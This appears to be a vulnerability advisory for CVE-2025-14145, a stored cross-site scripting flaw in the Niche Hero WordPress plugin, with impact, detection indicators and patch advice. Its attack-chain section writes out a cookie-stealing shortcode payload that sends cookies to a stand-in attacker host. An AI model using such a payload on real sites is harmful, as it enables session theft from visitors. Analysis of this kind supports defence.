CVE-2025-14145: 
WordPress vulnerability analysis and mitigation

CVE-2025-14145 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Niche Hero | Beautifully-designed blocks in seconds" plugin for WordPress. It affects all versions up to and including 1.0.5, where insufficient input sanitization and output escaping of the spacing parameter in the nh_row shortcode allows authenticated attackers to inject persistent malicious scripts. The vulnerability was published on January 7, 2026, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, NVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the nh_row shortcode handler within niche-hero.php (around line 302), where the spacing parameter is passed to page output without adequate sanitization or escaping. An authenticated attacker with at least Contributor-level access can craft a shortcode containing a malicious JavaScript payload in the spacing parameter, which is then stored in the database and rendered in page content for any visitor. The attack vector is network-based, requires low privileges, and no user interaction beyond page access is needed for the payload to execute (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all users who visit the affected pages. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or delivery of further malware payloads to site visitors. The scope change in the CVSS score reflects that the impact extends beyond the attacker's own session to affect other users, including administrators, potentially enabling privilege escalation or full site compromise (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-14145. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Niche Hero" plugin version 1.0.5 or earlier, using tools like WPScan or by checking the plugin version in the site's source or /wp-content/plugins/niche-hero/ directory.
2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
3. Craft Malicious Shortcode: Create or edit a post/page using the nh_row shortcode with a malicious JavaScript payload injected into the spacing parameter, e.g., [nh_row spacing="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Submit or save the post/page containing the malicious shortcode. The payload is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing nh_row shortcode with unusual spacing values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing <script>, javascript:, or encoded XSS payloads within nh_row shortcode spacing parameters.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with nh_row shortcodes; unusual cookie or credential exfiltration traffic.
• File System: Unexpected modifications to niche-hero.php or related plugin files if an attacker escalated to file write access after initial XSS exploitation.

Users should update the Niche Hero plugin to version 1.0.6 or later, which contains the fix for insufficient input sanitization and output escaping in the nh_row shortcode. As a temporary workaround, site administrators can restrict Contributor-level user permissions or disable the Niche Hero plugin until the update can be applied. Reviewing existing posts and pages for suspicious nh_row shortcode content is also recommended (Wordfence).

The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published the advisory. No notable independent researcher commentary, media coverage, or significant community discussion has been identified beyond the standard vulnerability disclosure process.